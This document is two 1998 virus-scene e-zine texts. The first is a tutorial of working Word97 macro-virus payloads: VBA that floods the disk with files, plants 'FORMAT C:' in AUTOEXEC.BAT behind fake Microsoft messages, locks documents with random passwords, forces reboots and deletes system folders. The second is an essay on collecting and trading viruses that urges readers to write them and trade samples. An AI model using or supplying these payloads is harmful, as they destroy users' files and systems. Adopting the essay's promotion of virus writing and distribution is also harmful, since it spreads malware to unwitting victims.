In this tutorial I will show the greater amount payload for word97, some of them nor

where were not used. Many when write the macro virus do not know what payload there

to put, I will show much methods for that who does not know what payload to put.

How install Payload

~~~~~~~~~~~~~~~~~~~

To install payload us to is necessary to in determined moment it operate, this possible

do by time or when enabling the key NumLock and CapsLock and others.

And so first example. If it is included button CapsLock that then we execute payload.

If Application.CapsLock Then 'if CapsLock is enclosed will execute your payload

   .............. 'Here you should put your payload

End If 'we will finish procedure

too the most possible do and with button NumLock.

If Application.NumLock Then 'if NumLock CapsLock is enclosed will execute your payload

   .............. 'Here you should put your payload

End If 'ThE EnD

But here is this example bound since date. It generates the day if it approaches that

executes payload. More Detailed read in other tutorial under name Word97 Macro Viruses.

If Day(Now()) = Int(Rnd() * 30 + 1) Then 'Checking the date

   .............. 'Here you should put your payload

end if

Here is one more example. The username word97 is Checked if it complies with specified

that is included payload.

If Application.UserName = "ULTRAS" Then 'checking the username.

   .............. 'Here you should put your payload

End if 'The End

And too the most possible do and userinitials

if Application.UserInitials = "SOS" then 'checking the userinitials.

   .............. 'Here you should put your payload

end if 'Finished

Interesting on my glance a method it tests what at present in word97 language cost stands.

I for example has taken its native russian you may choose another their plenty of.

If Application.Languages.Item(wdRussian).ID Then 'Check of current language

 'parenthetically necessary to contribute its language

   .............. 'Here you should put your payload

End If 'End

Well here is I has shown several ways how install in your virus payload, will go to most

interesting.

PAYLOAD

~~~~~~~

One of the the most interesting belongings in virus, this payload I try to show several

method and some of them, not where not there were are used.

Below I will show very interesting method a filling a disk by shit. It fills the disk by

files with different names in which writes "-=SOS=-".

shit = Int(Rnd() * 9999 + 1) 'generate names of number before 9999

For live = 1 To 9999 'we will repeat procedure 9999 once

Open "C:\" & shit For Output As #1 'we open file with generated name

Print #1, "-=SOS=-" 'write in it

Close #1  'close file

Next live 'we will repeat operation

This acceptance formats the disk, it there was will take from my first virus.

I think that before beginning this payload, is necessary put (deliver) report on mistakes

to reboot computer or close document, then user will believe and wait when its disk is

formatted.

SetAttr "C:\AUTOEXEC.BAT", vbNormal 'we put attribute normal

Open "C:\AUTOEXEC.BAT" For Append As #1 'we open necessary us file

Print #1, "@ECHO OFF" 'well batch commands I shall not explain.

Print #1, "CLS"

Print #1, "ECHO Microsoft Corp. 1983-1997 All rights reserved"

Print #1, "ECHO Goes preparation to renovation of your system files"

Print #1, "ECHO Please wait this can occupy several minutes"

Print #1, "FORMAT C: /U /C /S /AUTOTEST > NUL"

Print #1, "ECHO."

Print #1, "ECHO."

Print #1, "ECHO."

Print #1, "ECHO Error at renovations of files"

Close #1 'we close file

SetAttr "C:\AUTOEXEC.BAT", vbReadOnly 'we put attributes for reading only

Here is one more method, it prints in document "SOS" with Animation. This method well to

place in macros FilePrint and when user begins to print the documents he flies this

inscription.

With ActiveDocument.Range(Start:=0, End:=0)

.InsertBefore "SOS" 'that we show

.Font.Name = "Impact" 'name of font

.Font.Size = 140  'size of font

.Font.ColorIndex = 9 'colour of font

.Font.Animation = 6 'what animation we will show.

.Font.Shadow = 1 'this that 3D fonts there were

End With

Small payload shows information on status bar.

Application.StatusBar = True 'include information on bar

StatusBar = "-=SOS=-" 'shows information on bar

Here is one more small payload, At presence in the file more than 25 symbols wipes a free

symbol in the text.

If ActiveDocument.Words.Count > 25 Then 'check how much symbols

Char = Int(Rnd() * ActiveDocument.Words.Count) 'generated symbols

ActiveDocument.Words(Char).Delete 'delete if symbols more 25

End If 'ends procedure

Small payload, top writes headline of document.

Application.Caption = "SOS" 'names atop

Not very big and good payload it generates from poles of symbols a password on document.

For p = 1 To 6 'we generate six once

GeN = Int(Rnd() * (120 - 100) + 228) 'we generate symbols

PaSS = PaSS + Chr$(GeN) 'we insert them in one line

Next

ActiveDocument.Password = PaSS 'we put our password

ActiveDocument.Save 'we save password on document

Below I will show several payload in accordance with api functions windows. At The

Beginning Initially module of virus you should insert the function, but afterwards already

itself payload.

The Way with use api functions windows, generate the minute if current minute approaches

with generated that reboot the computer.

Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" _

(ByVal uFlags As Long, ByVal dwReserved As Long) As Long 'function of exit from windoze

Public Const EWX_LOGOFF = 0 'not to show pictures

Public Const EWX_SHUTDOWN = 1 'switcing off the computer

Public Const EWX_REBOOT = 2 'rebooting the computer

Public Const EWX_FORCE = 4 'usual

If Minute(Now()) = Int(Rnd() * 30 + 1) Then 'Checking the minute

exitwin = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0) 'we reboot computer

end if

In the same way if you want you may change the parameters from rebooting on shutdown and

another.

Well this much idle time payload it changes the name of computer.

'api function windows changes the name of computer.

Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" _

(ByVal lpComputerName As String) As Long

'here we insert new name of computer

NamE = SetComputerName("SOS")

Here is one more way with use api functions windows. In this payload either as in previous

generate the number if it approaches to current day that execute our payload, Afterwards we

choose the directory for deleting it.

Public Declare Function RemoveDirectory Lib "kernel32" Alias "RemoveDirectoryA" _

(ByVal lpPathName As String) As Long

If Day(Now()) = Int(Rnd() * 30 + 1) Then 'Checking the date

num = Int(Rnd * 4) + 1 'we generate number and choose file for deleting

If num = 1 Then fuck$ = "C:\Windows"

If num = 2 Then fuck$ = "C:\Program Files"

If num = 3 Then fuck$ = "C:\Games"

If num = 4 Then fuck$ = "C:\My documents"

Lwinfuck = RemoveDirectory(fuck$) 'procedure of removing the folder

end if

You may insert any directory a place you described or enlarge their amount and put not

generation 4 but how much you create files on removing.

Well here is and all I has shown how put (deliver) payload and their themselves payload

now many will be able to create the viruses not buffed head what payload in it to put.

In next E-zine I will show payload for excel97 and possible access97.

ULTRAS 1998


The Art of Virii Collecting by Tally

                    The Art of Virii Collecting

                      (AOVC03 - final draft)

                             by Tally

                           Introduction

     Why in the world would anyone collect virii, viruses, viren,

viry or any other self-replicating program?  I don't know!  Why

collect stamps?  Why collect cars, parking tickets or rejection

slips?  That is, why collect at all?

     Well, there is a certain amount of joy in the hunt for one

thing.  After hearing of a new and particularly deadly virus (CIH

for instance) I want a copy.  Getting a full collection of those

golden oldies is fun too.  It is electronic history.

     Another reason is the environment!  Virus authors,

collectors, groups, etc. have their own scene.  It is interesting

to get to know the people.  I have made more Internet friends by

collecting viruses than almost anywhere else on the net.

     Viruses are fascinating programs.  Since I programmed for a

living, writing database applications and other less exciting

works, the "electronic life" seemed fascinating by comparison.

Watching a virus move about a hard drive is fun.

     But ultimately, I can't say there is any one good reason.  I

just find myself fascinated with them.  While it makes better

sense than collecting furbies, I don't pretend it has any clear,

useful and defensible reason.  It is just cool.

     One proviso: This is just a hobby.  These are just viruses,

binary organizations of bytes with a particular purpose behind

the programming.  Don't get obsessed with it, don't lose sleep or

friends over it.  If the power gets disconnected you've got

nothing left (maybe a disk or a CD, but it can't do anything). A

simple test: if this keeps you up at night - it's probably an

obsession or addiction of some kind.  If this hobby is causing

you social, personal or emotional problems - quit and seek

professional help!

                          Present State

     The present state of virus collecting is a bit disturbing.

There was a long time when virus groups greatly outnumbered virus

traders.  In fact, virus collectors were looked upon unfavorably.

It is an odd turn of events that the popularity and acceptance of

virus collecting is leading to its disintegration.  Oh, sure,

there are still many collectors who continue to amass large

quantities of samples.  But for many traders/collectors, the fun

has gone out of the hobby.

     There are more fights and groups breaking up all the time.

Pettiness and obsession seem to be more popular than comradery.

There are more virus collection groups that hate each other than

coding groups fighting.  What was once a group of interested

onlookers has become a turmoil of confusion.

     Perhaps the collecting scene is undergoing change.  If this

is a time of metamorphosis, then it is welcome - all things are

subject to change.  One can only hope that whatever grows up next

will be as enjoyable as the collecting scene once was.

     It would be unfair to suppose that the state of trading is

unrelated to the VX scene as a whole.  It may well be that the

changes experienced in collecting are a result of the changing

face of virus coding.  If the IRC channels devoted to viruses are

any indication, the VX scene has changed a lot over the past few

years.

     But keeping in mind my own admonition not to take this too

seriously, this article will focus on what exists now in the

trading scene.  This is not an attempt to change or dictate how

trading should be done.  This article is a reflection of what

goes on in the virus collecting circles.  It is a guide for those

interested, in order that they may enter into this strange, yet

fascinating hobby.

                    Related Hobbies/Vocations

     There are several things that are related to but not

equivalent to virus collecting.  A virus collector is not

necessarily a virus researcher.  Virus research is a more

involved process taking a hobby into more of a vocation.  Some do

enjoy research in addition to collecting. But for some of us,

research is too much like work.  One only needs to look at the

belabored attempts of Sung Yang ( http://www.sungyang.org/ ) to

see just how hard some people make it!

     Virus writing is obviously a different endeavor as well.

But there are some who do both.  But don't assume that everyone

who collects viruses is also an author.  I laugh when I get

requests to write somebody a custom virus.  Some of us collectors

are at best marginal programmers.  I have considered writing a

virus in Clipper, though - just for laughs.

     Collectors are also not necessarily hackers, crackers,

nukers, or even 37337 in any way.  Most collectors I have met are

not interested in those areas at all.  Those who dabble in those

activities tend not to be the most serious collectors.

                        Collection Purity

     Being a hobby of some involvement, collectors naturally

develop some standards along the way.  Some collectors do not

collect macro viruses or trojans.  There are several reasons why

they do not collect macro viruses.  Some do not consider them as

skillful, advanced or involved as assembler based viruses.

Trojans are so simple and foolish that many do not even pay

attention to them.  I have heard from several collectors that

they draw the line at replication.  If it doesn't replicate, they

don't collect it.  After your collection grows up over 30,000

viruses you may not pay much attention anymore.  If you collect

based on a virus scanner, you may end up adding some trojans to

your collection (although VirusKeeper gives you the option to

exclude trojans and other type of files).

     Sometimes the size of the sample is an issue.  If a 500K EXE

file is infected with a 312 byte virus, there is obviously a lot

of waste!  Some will get involved with replication in those

instances.  Replication is the process of getting viruses to

infect small "goat" files.  A "goat" file is simply a tiny

program whose only purpose is to be sacrificed in order to catch

a virus.  If the size of samples is an issue, get some goat file

utilities and find a spare machine to work with.  Run the

infected executable to get it to infect the "goat" files.  Once a

goat is infected, you will have much smaller sample.

     It is always a good idea to check files to see what kind of

goat file they were replicated onto.  There are several people

who find it necessary to use marked goat files.  Often those

marks contain the identity of the sender or the recipient.  While

this is certainly an odd practice, it does happen.

     The quality of a sample is important.  Files that had no

stack segment yet were not converted to .COM are a continual

annoyance.  F-Prot often detects these files as "droppers" thus

causing some collection systems to recognize them as separate

samples.  This has caused some to process everything they receive

to determine its quality.  Others do not worry about the issue

since it would take a lot of time to process several hundred EXE

files to check for problems.

     Further, many files are compressed with PK-Lite, ICE or

other executable compression programs. That may change the way

different AV programs see the virus.  It might be a good idea to

unpack the executables to ensure proper ID, although most

reputable AV programs now see past the compression.  For the most

technically "pure" collection, unpack the files whenever

possible.

     Object files (.OBJ) are one more issue.  Some people collect

them as they are.  However, if they are linked, they often show

up as a different virus.  If real, executable viruses are your

interest, you may wish to develop a batch file to link any object

files you receive.  It isn't very hard to properly link them

before scanning!

     Variants and unknowns are yet another issue.  Variants can

sometimes be created simply by assembling a virus a different

way.  Suddenly, with one source file you've got two or three

viruses.  Unknowns are probably variants that a certain anti

virus program doesn't recognize yet.  These can be a problem for

collectors at times.  You may trade for an unknown variant only

to discover later that it is a repeat of one you already have.

     It is also important to watch how the AV identifies the

virus.  Anti-virus programs such as AVP use various words to

indicate the certainty of the virus infection.  AVP uses

"infected," "warning," and "suspicious."  If you do not separate

those, your sample may not be the virus you thought it was.  It

is best to separate the partially Ided ("warning" or F-Prot's

".unknown") from the fully IDed.

     There are also a few folks who create junk just to try and

get more out of a trade.  Renaming .OBJ files to .COM files, they

hope to bypass batch systems that check for the .OBJ extension.

F-Prot is a big help in this instance.  F-Prot will add the

extension " - object file" to the end of the virus name.  The

only utility I have seen that accurately solves these problems is

renexts by Phage.  As of this writing, it is not yet released.

However, this program renames accurately - resulting in a much

cleaner scan, avoiding problems with F-Prot mis-IDing a virus due

to the file extension.

     From a collection without proper renaming, you may generate

dozens of requests for new viruses.  Then when you receive them,

rename them and scan them in - you get nothing.  Proper renaming

is very important for accurate scanning.  The renexts program

should be available on Phage's website sometime soon:

http://members.home.com/phagevirusexchange/

     A final consideration, though not terribly important, is the

"constructor."  Several AV programs now detect virus creation

kits giving them the prefix "constructor."  These are not really

viruses, but only programs that create them.  You may wish to

keep these separate if this bothers you.  Many of us just sort

them in with the rest.

                         Getting Started!

     Everybody has to start sometime.  (Come on, you know you all

want to have a virus collection!)  It wasn't that long ago that I

started.  I think the first thing to remember is that you are

dealing with people!  Make friends and contacts, but don't use

people.  They will figure it out!

     Here are the top ten things NOT to do to get started in

virus collecting.

     10.  Write 100 batch viruses and send them to your favorite Anti

     Virus company (and wait).

     9.   Wait for viruses to infect you as you download games from

     questionable web sites.

     8.   Buy one of those "Greatest Virus CD of all time" offers for

     $999.00 (U.S. dollars).

     7.   Take out a loan and advertise to buy any viruses that you do

     not have.

     6.   Loan your diskettes to all your friends, hoping a boot virus

     will get on it.

     5.   Infect your system with Back Orifice or Netbus and hope

     somebody will put a virus on your system.

     4.   Hang out on IRC waiting for somebody to try and DCC you a

     mIRC worm.

     3.   Post a message in the news group, ALT.COMP.VIRUS, stating "I

     need a virus urgently, please send them to me!"

     2.   Contact AV companies and tell them "I am a virus researcher,

     can you send me some viruses?"

     1.   Write e-mail to a collector with 30,000 viruses and ask them

     to "Send me all you have!"

     Okay, the list is a little silly, but you get the idea.

There are a lot of good ways to add to your virus collection.

Here are few ideas to begin your collection.

     1.   Download all you can.  There are still a lot of sites with

     virus binaries for download.  Go get them.  A good place to

     begin your surfing is my Virus Link Reference page:

     http://www.virusexchange.org/tally/

     2.   Use the search engines on the net like Yahoo and Northern

     Light.  Yahoo's web site:  http://www.yahoo.com/ and

     Northern Light's:  http://www.northernlight.com/ are but a

     sample of the many available.  You CAN find viruses and

     related sites by using them!

     3.   Download VDAT right now if you haven't already.  VDAT is THE

     encyclopedia for the virus world.  You can get a copy at

     Cicatrix's VDAT web page:  http://www.xs4all.nl/~cicatrix/

     4.   Now you have to organize your collection.  If you plan to

     have more than 10 viruses, get a virus collection program

     now.  There are several.  I recommend either my program,

     VirusKeeper (free) or VS2000 (free).  VirusKeeper is the

     system management approach to virus collecting.  Once set

     up, it will do nearly everything for you.  Get your copy at

     my web site:  http://www.virusexchange.org/tally/vk.html

     5.   Start trading.  Post your web page somewhere with your

     intent to trade viruses.  Post your logs for people to

     check.  Get an e-mail you feel comfortable posting out there

     for the whole world to see.  Then post your site on some of

     the popular virus sites.  Once your collection gets to a

     certain size, you won't expand it much without trading.  You

     might want to stop by http://www.virusexchange.org/ ,

     http://sok4ever.zone.ne.jp/ or http://www.coderz.net/ and

     visit with the webmasters about getting a site there.

     6.   Get to know the people.  Spend some time at the author's,

     group's and collector's sites.  Learn what they do, who is

     in the group.  This isn't just about executable programs -

     it is about people.  You will have a lot more fun if you get

     to know them.  You can find most author's and group's sites

     at my virus link reference page:

     http://www.virusexchange.org/tally/

     7.   Get an IRC program and visit the virus world's chat rooms.

     Those are #vir, #virus and #vxtrader on UNDERNET.  Have some

     respect and get to know the people.  A lot of trades of

     viruses happen right in those chatrooms.  This is a

     wonderful place to meet creative people from all over the

     world.  Stop in and join the crowd!  Get IRC information and

     a program to access it at: http://www.geocities.com/~mirc/

     8.   Write them yourself!  Hey, if you are a programmer,

     especially in Assembler, maybe you'll enjoy writing.  Some

     of the most creative programmers are out there in the VX

     world.  The challenge is exciting - try it!  An excellent

     link for beginning assembly programming is an tutor called

     "Art of Assembly Language."  It can be found at

     http://webster.cs.ucr.edu/

     9.   Collect every single virus zine, utility, generator, kits,

     source code, engine, and tutorial.  Be creative and learn

     everything you can.  If you don't know how to compile and

     link programs - learn it.  You will definitely gain a lot by

     doing that.

     10.  Grab every binary from the news groups.  Many viruses and

     trojans are spread around "warez" and "pron" newsgroups.

     You will undoubtedly download a lot of junk, but

     occasionally you will find a new virus or trojan.  At this

     time I have no reliable newsgroup access so I cannot list

     good utilities for grabbing binaries.  But there are

     automated utilities that will grab all the binary

     attachments from specified newsgroups.

                     Collection Organization

     There are several ideas about how collections should be

organized.  One early article about collection organization is

Vesselin Bontchev's "Analysis and Maintenance of a Clean Virus

Library."  A more recent (and more tailored toward virus

collectors) one is Cicatrix's "Computer Virus Collecting: Fun or

Folly."  I will attempt to outline some of the popular methods

being used by virus collectors (not necessarily by AV

researchers).

     1.   Infected user.  This person has a virus on his/her system

     because of an accidental infection.  Don't laugh!  You (as a

     trader) might get a new sample in process of helping this

     person get rid of the virus.  It is not unheard of for a

     person to have several viruses/trojans infecting their

     system at one time!

     2.   Dabbler.  The dabbler doesn't collect viruses seriously but

     does like to have a few around.  This collection is probably

     not managed with sorting/trading/archival utilities.  If you

     have less than 100 viruses, you are probably a dabbler.

     Unless you plan to seriously increase the size of your

     collection (and the time you will spend), don't go any

     further.

     3.   Original zips.  I call this method the original zips method

     because these collectors keep everything the way they

     download it.  Often they have several copies of the same

     thing, sometimes by accident, but often because the same

     virus is found in several different places.

               The downloads are sorted by author, web site, virus

     type or any combination of these and other categories.

     Often they do sort their files by zines, engines, kits, etc.

     as well.  The files are scanned with an AV scanner, then

     some utility is used to sort the log file and determine how

     many unique viruses are found.

               While this method provides good coverage, and insurance

     that potential variants are not lost, it is also very

     difficult to manage.  Getting viruses out of the collection

     is slow and tedious.  This is not an effective method for

     active traders.

     4.   Hand Sorted.  This means the virus trading program does not

     handle the sorting.  It does not necessarily mean the

     viruses are actually put in directories by hand, although

     some collectors do that.

               One program being used to sort viruses is called BULK.

     This program copies viruses to BULK into subdirectories

     based on the CRC32 of the file.  The files are renamed to

     this CRC32 value, keeping the original extension.  This

     program is fast, and checks for dupes.  One drawback of this

     method is the reliance on CRC32 calculation.  It is possible

     to have two different files with the same CRC value.  Also,

     viruses are difficult to find without a trading utility that

     handles finding virus requests.  A bonus is that the file

     names do not have to change if the virus ID changes.

               That is not the case with collections stored by

     renaming the file name to the virus name.  There are several

     utilities which attempt to do this.  There are several

     problems with storing viruses this way.  The first is the

     most obvious: Virus names change.  What is

     Intended.Federation.Fighter may turn out to be

     Win95.Naboo.Fighter on the next update.  Scrolling through

     99 directories to find the one virus is not all that

     enjoyable either.  It does look nice to see the files sorted

     by virus type, then virus name.  Again, storing files in

     this manner requires a good utility for filling virus

     requests.

               Another method, which can be combined with any other is

     that of removing all the virus extensions for safety.

     Admittedly, this is safer than storing executable files.

     However, it also removes important information about the

     file.  It is not necessary if one uses a storing utility

     that automatically zips files or moves them to a virus

     directory.  Removing the file extension will cause some

     Antivirus programs, such as F-Prot, to ID the file

     differently or miss it completely.

     5.   VirusKeeper.  Since I write the virus management system

     called VirusKeeper, it is obvious I would consider it a good

     way to store, sort, and trade viruses.  But I will also

     outline my entire virus collection system.

               First, sort out all your zips into categories.  The way

     I have done it is as follows:  AV, Authors, Collections,

     Engines, Kits, Reference, Simulators, Source, Tools, Tutors,

     Traded, Utilities, Zines.  This sounds like a lot of

     directories but once you start downloading everything you

     find, you will soon have an unmanageable set of files.  The

     directories store these items: AV - anti virus programs and

     updates, Authors - Source code and viruses according to

     author (e.g. EVUL\Malice.zip, Knowdeth\Sheep.zip),

     Collections - various collections you download and receive

     (e.g. WCIVR.ZIP, JOHNDOE.ZIP), Engines - virus engines of

     all types (organize with subdirectories for Macro, DOS, Win,

     etc. if you like), Kits - Virus construction kits (again,

     organize by type if you like), Reference - virus reference

     programs and texts such as VDAT and AVPVE, Simulators -

     virus simulators, Source - source code not already stored by

     author nickname, Tools - virus tools such as virus droppers

     and infectors and VVSC, Tutors - various tutorial and help

     texts on virus related topics, traded - zips of viruses you

     received via trades, utilities - assemblers, dissassemblers,

     archive utilities, etc., Zines - Virus and related zines.

               Once I got all my files carefully sorted and

     categorized, I found it much easier to scan the sections for

     new viruses and to check to see what I already had.

     Currently under development is a program called "FileKeeper"

     which helps automate the task of sorting and finding these

     files. It sorts files into the correct directory and creates

     HTML access to all of them.  It is not yet available for any

     sort of release (BETA or otherwise).

               An active trader should develop some means of keeping

     various files for the purpose of rescanning them from time

     to time.  I keep one directory that is simply sorted into

     directories by author name.  In each directory I keep all

     the viruses, source code and other work by that author.

     Each time the anti-virus programs are updated, I rescan this

     directory for new viruses.

               Of course, there are always those odd files that don't

     scan in, but are definitely viruses.  For that group of

     files, I simply use the NOSCAN directory managed by

     VirusKeeper.  If a file does not scan in as a virus, VK will

     (during normal CHECK operation) move the file into a zip in

     the NOSCAN directory.

               I strongly recommend that you also keep a BULK

     directory.  The BULK utility (as described above) is an

     excellent utility for keeping what some call a "slush"

     directory.  This consists of all known viruses, additional

     samples, unknown files and undetected viruses.  The

     advantage is that you do not throw away ANY files.  Each

     time the AV definitions are updated, many collectors find

     new viruses in their slush directories.  This directory will

     grow quickly (mine is currently at 53,188 files using about

     558 megabytes).

               To avoid duplicates (like 0F3489EE.EXE and 0F3489EE.COM

     which are renamed duplicate of each other) use a file

     weeding utility.  A very fast and accurate program that I

     recommend is Nome Weeder.  It is available in both a command

     line and a GUI version.  Get this fine program at:

     http://ggnome.cjb.net/

               The final directory in this method is of course - VIRII

     (or viruses).  In this directory VirusKeeper (VK) is

     running, keeping track of all the viruses.  VK works by

     reading scanner logs of new viruses, checking that data

     against its database and storing those viruses that are new.

     It automatically determines trade ratios, makes zips of

     files to send to other traders and archives all new viruses.

     There are never any files laying about that could

     potentially be run.

               VK has a browser system that allows you to view the

     virus names, compare names, search for viruses and even

     output single viruses.  Finding viruses is simple, even

     though the viruses are stored in zips.  There are no

     complicated directory trees to traverse. File names are

     generated by VK so it finds them easily, without hard work

     on your part.

               The zip files created by VK to store your collection

     house as close to a completely unique collection as

     possible.  As scanner definition files are updated, you will

     develop some duplicates.  VK has routines to remove those

     dupes when you decide to remove them.

               I realize this section has become a bit of an

     advertisement for VK, but it's free.  Furthermore, the

     method VK employs is not really used in any other virus

     collection program to date.  VK attempts to do total

     management of your core collection safely and easily.

               VK combines the best of each of the other methods.  It

     stores files uniquely, similar to the way BULK does (except

     VK just sequentially numbers them).  It allows you to view

     the virus names, but in a handy browser instead of in

     cumbersome directories.  It easily handles changing virus

     Ids in the database, without changing the file names.

     Combined with the suggested storage method (separate

     directories for zines, etc) it allows one to keep the

     original zips without having huge logs and multiple copies

     of the same virus.  The virus logs from VK's managed set of

     viruses is as compact as possible.

               As noted above, some keep object code of viruses, some

     do not.  VK now has the option to choose whether to keep

     object code, partially Ided viruses, trojans and damaged

     viruses.  It is a new standard in virus collection systems,

     one that was greatly needed.  Hopefully other programs will

     follow VK's humble example.  If at all possible, choose a

     utility that allows you this kind of control.

               Some have complained that VirusKeeper generates

     requests erroneously.  This is usually due to a failure to

     properly set the parameters, use of older log file, failure

     to update the database and a misunderstanding of VK's

     concept.  As you can see, one must be careful when using

     this more powerful trading system.  However, with a small

     amount of initial set up and regular updating, VK will

     provide easier and more accurate virus trading than many

     other utilities.

               Before running VK Check for new viruses, I run renexts

     first to ensure that I have correct file extensions.  Then I

     run BULK to keep a copy of everything I am scanning.

     Finally, I run VK CHECK, to add the new, unique viruses into

     my collection.  All this is handled by one batch file.

               The advantages of my plan for collecting is that

     everything is batch-able.   There is no slow, tedious

     renaming, re-filing, re-checking viruses.  Everything is

     easily managed by typing a few batch commands.  This leaves

     time for the fun parts of this hobby!

               Whatever method you choose, make sure it is easy for

     you to manage.  Nothing ruins a fun hobby more than spending

     too much time on the work part of it.  Spending hours

     looking to see if you have a particular zine takes the fun

     out of it.  And if you have to hand-create a directory for

     new viruses every day - it is too much work.

                    An example directory setup

     VIRUS--

           |-----AUTHORS -

           |             | -ASMHEAD

           |             | -JACKTWO

           |             | KNOWDETH

           |-----AV

           |-----BULK -

           |          |-----0 -

           |                  | 00

           |                  |-01

                                         |                  |-02

           |-----COLLECT

           |-----ENGINES

           |-----KITS

           |-----REF

           |-----SIMUL

           |-----SOURCE

           |-----TOOLS

           |-----TRADED

           |-----TUTORS

           |-----UTIL

           |-----VIRII--

           |           |----ARCHIVES

                               |           |----NEW

                               |           |----NOSCAN

           |-----ZINES

                             Trading

     Virus trading is one of the most productive ways to increase

your collection and meet new people.  The number of virus

collectors has increased (or publicized web pages for them has)

over the past year.  There are a few areas you should pay

attention to in getting started trading viruses:

     Utilities - The utilities you use to handle your virus

trading will either help or hinder your work.  Choose a utility

that is accurate - otherwise you will trade for viruses that you

didn't need.

     Log files - I recommend that you use only the original log

files produced by the anti-virus programs.  Simulated logs often

introduce errors or variances that cause incorrect trades.  For

instance, one virus log comparison program strips the extra

information from F-Prot logs.  It removes the "(exact)" and other

information when it stores the virus data.  While this saves

space, it also reduces the accuracy of the pseudo-logs it

produces.

     Contacts - there are several good ways to make contacts for

virus trades.  Many trades take place through e-mail.  When you

get your trading web page up, people will eventually contact you

through your e-mail.  Another excellent place to make virus

trades is on IRC (Internet Relay Chat).  In Undernet there are

two chatrooms for virus related discussions: #vir and #virus.

There is also a chatroom specifically for virus trading:

#vxtrader.  You might also get some response by posting your

trading information in newsgroups such as alt.comp.virus and

others.  However, the newsgroups are often filled with flames

more than useful messages.

     AV programs - The most popular anti-virus programs for

trading are AVP and F-Prot.  Most traders use the DOS versions of

those Avs.

     AV parameters - The parameters you choose will greatly

affect the accuracy and effectiveness of your trading.  Suggested

parameters are as follows:

     F-PROT /DUMB /ARCHIVE /NOMEM /COLLECT /REPORT=FPROT.LOG

C:\VIRII

     AVPDOS32 /O- /S /Y /* /M /B /P /V /W+=AVP.LOG C:\VIRII

     If you scan others' logs that do not use these parameters

you will often find you request files from them that you do not

need.

     Private Viruses - one of the silliest notions in the virus

trading circles is the idea of private viruses.  These are

viruses that are not to be traded/shared with anyone.  It is

recommended that if you trade for these viruses, you do your best

not to share them.  But it is probably a better idea not to deal

with them at all.  The real problem with them is once you have

several thousand viruses that you can't share, you are limited in

your freedom to trade.  Furthermore, if those viruses are

released by someone else - you will likely receive all the blame

and aggravation for their release.

     It often seems that in VX circles private viruses are a sort

of goad that some use to exert their superiority.  Many

collectors complain (and rightly so) about keeping some viruses

private.  If you find that it is necessary for you to keep

viruses private, it is best not to brag about them.  You will not

make many friends that way.

     The exception is, of course, when you receive a virus

directly from an author or group.  In this instance you should

never share this virus, code, etc.  Some authors write their

viruses for their own study and use, never intending for them to

be released.  Many don't want their work to be spread or go into

"the wild."  Respect the authors above all else, as they are the

ones that create the very things you collect!

     Within AV circles, there are of course private viruses.

Their reasons for keeping them private are quite different.  How

you deal with AV people is your own choice.  Just recognize that

there is great tension between Avers and Vxers.  Vxers that

associate closely with Avers are sometimes "wanna-be Avers."  Be

careful which way you choose, as it will affect how many Vxers

deal with you.  Since this article focuses primarily on the VX

side, I will leave it at that.

                              Groups

     As with every other hobby, virus collectors sometimes form

into groups.  This can provide benefits, but can also bring many

problems.  There are many virus trading groups currently in

existence as well as several that have died out.  It would be

best to study them carefully before making a decision to join.

     Tightly controlled groups tend to flare up quickly, bring in

viruses for a while, then die out as the dictatorship becomes

tiresome for the other members.  It is not recommended that you

join a group where one member controls the others whether by

arrangement or by attitude.

     Many groups have had problems sharing viruses.  Whether due

to secret trades or just plain greed, one or more members ends up

taking the lion's share.  It is always a risk that you will end

up in a group with a member like this, so choose carefully if you

decide to join a group.

     Virus authors have often changed groups, joined more than

one group and gone independent when it suited them.  There is no

reason to expect that collectors will be any different.  Don't be

afraid to make a change if things don't work out.

     People that tend to be controlling and manipulative in real

life will usually turn out to be the same in their online

dealings.  Dealing with people like that in a collecting group

will only cause you grief.  If you find yourself in such a

situation - go independent.  Don't worry about the loss of

viruses and connections.  This is a free hobby - nobody controls

who trades with whom.  You do not need to be in a group to

effectively trade viruses and have fun.

     Some of the newer groups are not really groups.  They are

best described as a cooperative collective.  The "members" simply

have free trade with each other.  The members are allowed to

trade with other people as they see fit.  Typically, this type of

"group" has less stress and more fun.  What is meant to be a

hobby is made more enjoyable by the cooperation and sharing.

     Remember that hobbies are supposed to bring enjoyment to

your life, not make it worse.  A group formed around a hobby is

supposed to be fun, not treated like a business.  If you decide

to join, find one like the collectives described above.

                              Ethics

     The study of ethics has always been of great interest to me.

So it is natural to ask the question "What are the ethics of

virus collecting?"  I intend only to touch the surface of this

issue here.

     The first question to be asked is the obvious one.  "Are

viruses evil?"  This has been debated for quite some time now

with varying results.  People tend to look at the intent of the

author, the effect of the virus or the way a person uses viruses

as the means to determine the answer.  These approaches really

only examine the surrounding issues and not the existence of

viruses themselves.  It is a bit like asking, "Are land mines

evil."  One could argue that they are not if they aren't used to

hurt people.  Another could argue that they are because they were

created to hurt people. Yet another could say that since they

only cause destruction they are inherently evil.

     I think a much more appropriate question is, "Are viruses

good?"  Although this is dependent on your definition of "good,"

I think clear answers (using philosophical logic) can be found.

I will leave this to the reader to determine, but ask yourself

honestly if a real argument can be found to prove that viruses

are intrinsically good.

     A collector might disagree based on his or her love for

viruses.  However, that is not an absolute moral/ethical good,

but a relative good.  That is, it is based solely on the

collector's desires, not on intrinsic qualities of the virus.

     Another might argue that viruses increase the awareness of

anti-virus researchers (and the quality of av programs) thus they

are good.  But this is a cyclical reasoning.  After all, without

viruses there would be no need for anti-virus programs.  Some

have argued that without viruses creating the need for Avs, the

users would be more vulnerable than if they didn't know about

viruses.  But the user is actually more vulnerable now, since

authors work harder and harder to avoid detection.  Either way,

this argument is cyclical and thus begs the question.

     There have even been those who argue that viruses are a sort

of digital life and deserve protection.  The issues of self-

awareness, what actually constitutes life and whether all life

must be preserved are beyond this short essay.  However, this

argument appears weak at best.

     My concern here is with collectors, not with authors, anti-

virus folks or with people wanting a virus to kill their boss's

computer.  Collectors ensure survival of many strains which might

otherwise completely die out.  Whatever the ultimate reality is,

collectors are not immune to the ethical/moral considerations.

     Recently, some one suggested that philosophical logic could

not really come to a clear answer.  If one is given to relativism

this would certainly be true.  However, there are certain truths

about viruses that are not arguable.  From those truths one can

come to some conclusions.  The idea that all truth is relative is

a juvenile assumption.

     Clearly, this discussion could quickly grow to be its own

essay.  That is not the purpose of this short section.  The point

is, there are ethical considerations.  One must consider the

ethical issues if one intends to be involved.  One should not be

unaware of ethical issues.

